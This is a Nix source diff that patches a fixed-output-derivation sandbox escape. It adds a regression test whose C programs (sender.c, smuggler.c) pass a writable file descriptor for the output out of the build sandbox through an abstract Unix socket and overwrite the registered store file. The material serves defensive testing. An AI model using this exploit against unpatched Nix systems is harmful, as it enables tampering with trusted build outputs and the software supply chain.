diff options
| -rw-r--r-- | src/libstore/build/local-derivation-goal.cc | 6 | ||||
| -rw-r--r-- | src/libutil/filesystem.cc | 6 | ||||
| -rw-r--r-- | src/libutil/util.hh | 7 | ||||
| -rw-r--r-- | tests/nixos/ca-fd-leak/default.nix | 90 | ||||
| -rw-r--r-- | tests/nixos/ca-fd-leak/sender.c | 65 | ||||
| -rw-r--r-- | tests/nixos/ca-fd-leak/smuggler.c | 66 | ||||
| -rw-r--r-- | tests/nixos/default.nix | 2 |
7 files changed, 242 insertions, 0 deletions
diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index 1fc966951..8e5ab7594 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -2528,6 +2528,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() [&](const DerivationOutput::CAFixed & dof) { auto & wanted = dof.ca.hash; + // Replace the output by a fresh copy of itself to make sure + // that there's no stale file descriptor pointing to it + Path tmpOutput = actualPath + ".tmp"; + movePath(actualPath, tmpOutput); + copyFile(tmpOutput, actualPath, true); + auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { .method = dof.ca.method, .hashType = wanted.type, diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc index 11cc0c0e7..2a7787c0e 100644 --- a/src/libutil/filesystem.cc +++ b/src/libutil/filesystem.cc @@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete) } } + +void copyFile(const Path & oldPath, const Path & newPath, bool andDelete) +{ + return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete); +} + void renameFile(const Path & oldName, const Path & newName) { fs::rename(oldName, newName); diff --git a/src/libutil/util.hh b/src/libutil/util.hh index bcee42327..acd77ee33 100644 --- a/src/libutil/util.hh +++ b/src/libutil/util.hh @@ -275,6 +275,13 @@ void renameFile(const Path & src, const Path & dst); */ void moveFile(const Path & src, const Path & dst); +/** + * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is + * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but + * with the guaranty that the destination will be “fresh”, with no stale inode + * or file descriptor pointing to it). + */ +void copyFile(const Path & oldPath, const Path & newPath, bool andDelete); /** * Wrappers arount read()/write() that read/write exactly the diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix new file mode 100644 index 000000000..a6ae72adc --- /dev/null +++ b/tests/nixos/ca-fd-leak/default.nix @@ -0,0 +1,90 @@ +# Nix is a sandboxed build system. But Not everything can be handled inside its +# sandbox: Network access is normally blocked off, but to download sources, a +# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". +# The detail here is not important, but in our case it means that the hash of +# the output has to be known beforehand. And if you know that, you get a few +# rights: you no longer run inside a special network namespace! +# +# Now, Linux has a special feature, that not many other unices do: Abstract +# unix domain sockets! Not only that, but those are namespaced using the +# network namespace! That means that we have a way to create sockets that are +# available in every single fixed-output derivation, and also all processes +# running on the host machine! Now, this wouldn't be that much of an issue, as, +# well, the whole idea is that the output is pure, and all processes in the +# sandbox are killed before finalizing the output. What if we didn't need those +# processes at all? Unix domain sockets have a semi-known trick: you can pass +# file descriptors around! +# This makes it possible to exfiltrate a file-descriptor with write access to +# $out outside of the sandbox. And that file-descriptor can be used to modify +# the contents of the store path after it has been registered. + +{ config, ... }: + +let + pkgs = config.nodes.machine.nixpkgs.pkgs; + + # Simple C program that sends a a file descriptor to `$out` to a Unix + # domain socket. + # Compiled statically so that we can easily send it to the VM and use it + # inside the build sandbox. + sender = pkgs.runCommandWith { + name = "sender"; + stdenv = pkgs.pkgsStatic.stdenv; + } '' + $CC -static -o $out ${./sender.c} + ''; + + # Okay, so we have a file descriptor shipped out of the FOD now. But the + # Nix store is read-only, right? .. Well, yeah. But this file descriptor + # lives in a mount namespace where it is not! So even when this file exists + # in the actual Nix store, we're capable of just modifying its contents... + smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); + + # The abstract socket path used to exfiltrate the file descriptor + socketName = "FODSandboxExfiltrationSocket"; +in +{ + name = "ca-fd-leak"; + + nodes.machine = + { config, lib, pkgs, ... }: + { virtualisation.writableStore = true; + nix.settings.substituters = lib.mkForce [ ]; + virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; + }; + + testScript = { nodes }: '' + start_all() + + machine.succeed("echo hello") + # Start the smuggler server + machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") + + # Build the smuggled derivation. + # This will connect to the smuggler server and send it the file descriptor + machine.succeed(r""" + nix-build -E ' + builtins.derivation { + name = "smuggled"; + system = builtins.currentSystem; + # look ma, no tricks! + outputHashMode = "flat"; + outputHashAlgo = "sha256"; + outputHash = builtins.hashString "sha256" "hello, world\n"; + builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; + args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; + }' + """.strip()) + + + # Tell the smuggler server that we're done + machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") + + # Check that the file was not modified + machine.succeed(r""" + cat ./result + test "$(cat ./result)" = "hello, world" + """.strip()) + ''; + +} diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c new file mode 100644 index 000000000..75e54fc8f --- /dev/null +++ b/tests/nixos/ca-fd-leak/sender.c @@ -0,0 +1,65 @@ +#include <sys/socket.h> +#include <sys/un.h> +#include <stdlib.h> +#include <stddef.h> +#include <stdio.h> +#include <unistd.h> +#include <fcntl.h> +#include <errno.h> +#include <string.h> +#include <assert.h> + +int main(int argc, char **argv) { + + assert(argc == 2); + + int sock = socket(AF_UNIX, SOCK_STREAM, 0); + + // Set up a abstract domain socket path to connect to. + struct sockaddr_un data; + data.sun_family = AF_UNIX; + data.sun_path[0] = 0; + strcpy(data.sun_path + 1, argv[1]); + + // Now try to connect, To ensure we work no matter what order we are + // executed in, just busyloop here. + int res = -1; + while (res < 0) { + res = connect(sock, (const struct sockaddr *)&data, + offsetof(struct sockaddr_un, sun_path) + + strlen(argv[1]) + + 1); + if (res < 0 && errno != ECONNREFUSED) perror("connect"); + if (errno != ECONNREFUSED) break; + } + + // Write our message header. + struct msghdr msg = {0}; + msg.msg_control = malloc(128); + msg.msg_controllen = 128; + + // Write an SCM_RIGHTS message containing the output path. + struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); + hdr->cmsg_len = CMSG_LEN(sizeof(int)); + hdr->cmsg_level = SOL_SOCKET; + hdr->cmsg_type = SCM_RIGHTS; + int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); + memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); + + msg.msg_controllen = CMSG_SPACE(sizeof(int)); + + // Write a single null byte too. + msg.msg_iov = malloc(sizeof(struct iovec)); + msg.msg_iov[0].iov_base = ""; + msg.msg_iov[0].iov_len = 1; + msg.msg_iovlen = 1; + + // Send it to the othher side of this connection. + res = sendmsg(sock, &msg, 0); + if (res < 0) perror("sendmsg"); + int buf; + + // Wait for the server to close the socket, implying that it has + // received the commmand. + recv(sock, (void *)&buf, sizeof(int), 0); +} diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c new file mode 100644 index 000000000..82acf37e6 --- /dev/null +++ b/tests/nixos/ca-fd-leak/smuggler.c @@ -0,0 +1,66 @@ +#include <sys/socket.h> +#include <sys/un.h> +#include <stdlib.h> +#include <stddef.h> +#include <stdio.h> +#include <unistd.h> +#include <assert.h> + +int main(int argc, char **argv) { + + assert(argc == 2); + + int sock = socket(AF_UNIX, SOCK_STREAM, 0); + + // Bind to the socket. + struct sockaddr_un data; + data.sun_family = AF_UNIX; + data.sun_path[0] = 0; + strcpy(data.sun_path + 1, argv[1]); + int res = bind(sock, (const struct sockaddr *)&data, + offsetof(struct sockaddr_un, sun_path) + + strlen(argv[1]) + + 1); + if (res < 0) perror("bind"); + + res = listen(sock, 1); + if (res < 0) perror("listen"); + + int smuggling_fd = -1; + + // Accept the connection a first time to receive the file descriptor. + fprintf(stderr, "%s\n", "Waiting for the first connection"); + int a = accept(sock, 0, 0); + if (a < 0) perror("accept"); + + struct msghdr msg = {0}; + msg.msg_control = malloc(128); + msg.msg_controllen = 128; + + // Receive the file descriptor as sent by the smuggler. + recvmsg(a, &msg, 0); + + struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); + while (hdr) { + if (hdr->cmsg_level == SOL_SOCKET + && hdr->cmsg_type == SCM_RIGHTS) { + + // Grab the copy of the file descriptor. + memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); + } + + hdr = CMSG_NXTHDR(&msg, hdr); + } + fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); + close(a); + + // Wait for a second connection, which will tell us that the build is + // done + a = accept(sock, 0, 0); + fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); + // Write a new content to the file + if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); + char * new_content = "Pwned\n"; + int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); + if (written_bytes != strlen(new_content)) perror("write"); +} diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix index b391d7ef2..cbb5dea00 100644 --- a/tests/nixos/default.nix +++ b/tests/nixos/default.nix @@ -38,4 +38,6 @@ in setuid = lib.genAttrs ["i686-linux" "x86_64-linux"] (system: runNixOSTestFor system ./setuid.nix); + + ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak; } |